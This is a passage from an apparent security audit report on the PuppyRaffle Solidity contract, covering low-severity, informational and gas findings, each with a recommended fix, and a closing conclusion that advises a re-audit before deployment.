- Apply the Checks-Effects-Interactions pattern: update all state and emit events **before** external calls.

-
- Add OpenZeppelin ReentrancyGuard and mark `selectWinner` as `nonReentrant` (you already propose this for `refund`).
-

[L-8] Missing zero-address validation for raffle entrants

Description:

`enterRaffle()` does not reject `address(0)` entries. Zero-address entries can create invalid winners or increase revert likelihood.

Impact:

- Higher chance that winner selection hits an invalid address; potential revert/DoS scenarios.

Recommended Mitigation:

- Add `require(p != address(0), "PuppyRaffle: invalid player")`; during validation.
- If you compact or track active players, ensure zero-addresses cannot be introduced.

Informational

[I-1] Lack of NatSpec documentation for some functions and parameters

Description:

Several functions, such as `withdrawFees()` and `_isActivePlayer()`, lack full NatSpec annotations (`@notice`, `@param`, `@return`).

Clear NatSpec comments improve code readability, assist with automatic documentation tools, and support auditors and integrators.

Impact:

Reduces readability and ease of verification for external developers or auditors.

Recommended Mitigation:

Add NatSpec documentation to all external and public functions. Example:

```
1 /// @notice Withdraws protocol fees to the fee address
2 /// @dev Can only be called when no active players exist
3 function withdrawFees() external { ... }
```

[I-2] Inconsistent naming convention for state variables

Description:

The contract mixes naming conventions (e.g., `players`, `feeAddress`, `totalFees`) without a clear prefix.

Following a consistent convention (e.g., `s_` for storage variables) improves maintainability.

Impact:

Slightly reduces clarity for developers and reviewers.

Recommended Mitigation:

Adopt a consistent naming convention across all storage variables.

Example:

```
1 address[] private s_players;
2 address private s_feeAddress;
3 uint256 private s_totalFees;
```

[I-3] Unused internal function `_isActivePlayer()` increases contract size and maintenance overhead

Description:

The contract defines the following internal function:

```
1 function _isActivePlayer() internal view returns (bool) {
2     for (uint256 i = 0; i < players.length; i++) {
3         if (players[i] == msg.sender) {
4             return true;
5         }
6     }
7     return false;
8 }
```

However, this function is **never called** anywhere in the contract. It duplicates the logic already available through `getActivePlayerIndex()` and adds unnecessary bytecode to the deployed contract.

Impact:

- Increases contract bytecode size and deployment gas cost.
- Adds cognitive overhead for future maintainers, who may assume it's used.
- May cause confusion about intended usage or internal logic.

Although this issue does not affect runtime security or correctness, removing unused functions improves maintainability and audit clarity.

Recommended Mitigation:

- Remove the `_isActivePlayer()` function if it's not intended to be used.
- If the logic is needed, consider refactoring the contract to use `_isActivePlayer()` instead of duplicating checks elsewhere.

Example:

```
1 // Option 1: Remove it entirely
2 // Option 2: Use it inside refund()
3 require(_isActivePlayer(), "Not an active player");
```

[I-4] Missing and incomplete events reduce on-chain transparency and auditability

Description:

The `PuppyRaffle` contract lacks key events for critical lifecycle actions, including winner selection and fee withdrawal.

While several events are already defined —

```
1 event RaffleEnter(address[] newPlayers);
2 event RaffleRefunded(address player);
3 event FeeAddressChanged(address newFeeAddress);
```

— these cover only partial state changes. Functions such as `selectWinner()` and `withdrawFees()` perform significant operations (transferring ETH, minting NFTs, updating state) but emit **no events** to reflect those actions on-chain.

Additionally, existing events lack contextual data and `indexed` parameters for efficient querying by off-chain systems.

Impact:

Missing and incomplete events make it difficult for external monitors, UIs, and indexers to track contract activity.

This reduces transparency and hinders auditing or forensic analysis in case of disputes.

While this does not directly affect contract security, it impacts maintainability and operational trust.

Proof of Concept:

The following functions modify critical state but do not emit events:

```
1 function selectWinner() external { ... }           // no event emitted for
                                                winner or prize
2 function withdrawFees() external { ... }          // no event emitted for
                                                fee transfers
```

Recommended Mitigation:

Add appropriate events and emit them at key state transitions.

Use `indexed` parameters for key addresses to facilitate off-chain querying.

Example fixes:

```
1 // New Events
2 event RaffleWinnerSelected(address indexed winner, uint256 indexed
    tokenId, uint256 prizeAmount);
3 event FeesWithdrawn(address indexed to, uint256 amount);
4
5 // Enhanced existing events
6 event RaffleEnter(address indexed initiator, uint256 playerCount,
    uint256 totalValue);
7 event RaffleRefunded(address indexed player, uint256 amount);
8
9 // Example usage
10 emit RaffleWinnerSelected(winner, tokenId, prizePool);
11 emit FeesWithdrawn(feeAddress, feesToWithdraw);
12 emit RaffleEnter(msg.sender, newPlayers.length, msg.value);
13 emit RaffleRefunded(playerAddress, entranceFee);
```

Adding these events ensures complete transparency and allows off-chain systems to index and display key contract actions such as raffle entries, winner selections, and fee withdrawals.

[I-5] Block timestamp manipulation

Description:

The contract relies on `block.timestamp` in several functions (`selectWinner`, `raffleStartTime`).

Miners/validators can manipulate timestamps by a few seconds, potentially affecting edge-case timing (e.g., ending a raffle slightly earlier/later).

Impact:

Minor; time manipulation is limited to a few seconds and unlikely to affect fairness significantly.

Recommended Mitigation:

For mission-critical time-based logic, allow a small grace window or use `block.number`-based timing.

[I-6] Repeated use of magic numbers

Description:

Hardcoded values like 80, 20, and 100 appear multiple times. Declaring them as `constant` variables improves clarity.

Recommended Mitigation:

Declare these numbers as constants:

```
1 uint256 private constant PRIZE_PERCENT = 80;
2 uint256 private constant FEE_PERCENT = 20;
3 uint256 private constant RARITY_BASE = 100;
```

[I-7] Anyone can trigger `withdrawFees()`

Description:

`withdrawFees()` lacks access control. Although funds go to `FeeAddress` (not the caller), anyone

can provoke a withdrawal at inconvenient times (e.g., before an accounting snapshot or off-chain aggregation).

Impact:

- Non-theft griefing / timing issues for fee withdrawals and reporting.

Recommended Mitigation:

- Add `onlyOwner` (or DAO/multisig) to `withdrawFees()`.
- Alternatively, explicitly document that anyone can trigger it and that this is intended.

Gas

[G-1] Redundant storage reads for `players.length`

Description:

The nested loop in `enterRaffle()` repeatedly reads `players.length` from storage:

```
1 for (uint256 i = 0; i < players.length - 1; i++) {  
2     for (uint256 j = i + 1; j < players.length; j++) {  
3         require(players[i] != players[j], "PuppyRaffle: Duplicate  
        player");  
4     }  
5 }
```

Accessing storage in every iteration is expensive.

Impact:

Increases gas cost quadratically as the player list grows.

Recommended Mitigation:

Cache `players.length` in a local variable before the loops:

```
1 uint256 playerLength = players.length;  
2 for (uint256 i = 0; i < playerLength - 1; i++) {  
3     for (uint256 j = i + 1; j < playerLength; j++) {  
4         require(players[i] != players[j], "PuppyRaffle: Duplicate  
        player");  
5     }  
6 }
```

[G-2] `raffleDuration` can be set as immutable

Description:

`raffleDuration` is set once in the constructor and never changed. Marking it as `immutable` can reduce gas cost by storing its values directly in the bytecode instead of storage.

Impact:

Saves one storage slot and reduces runtime gas cost for reads.

Recommended Mitigation:

Declare as `immutable`:

```
1 uint256 public immutable raffleDuration;
```

[G-3] Use external + calldata for enterRaffle to save gas

Description:

`enterRaffle(address[] memory)` copies the array to memory. Since the function is externally called, `calldata` is cheaper.

Recommended Mitigation:

```
1 function enterRaffle(address[] calldata newPlayers) external payable {  
    ... }
```

[G-4] `_baseURI()` override signature should match OpenZeppelin

Description:

OpenZeppelin's [ERC721](#) defines `_baseURI()` as `internal view virtual`. The contract's override is `pure` and not explicitly marked `override`.

Impact:

- Potential mismatch with OZ expectations; clarity/readability issues.

Recommended Mitigation:

```
1 function _baseURI() internal view virtual override returns (string  
    memory) {  
2     return "data:application/json;base64,";  
3 }
```

Conclusion

PuppyRaffle's core design is straightforward, but several implementation choices create critical vulnerabilities that can lead to loss of funds and broken operation. Applying the high-priority fixes listed in the Executive Summary, alongside selected Medium items (especially array hole handling and metadata correctness), will improve safety and reliability. After remediations, I recommend a focused re-audit of [refund](#), randomness, fee accounting, and minting paths before mainnet deployment.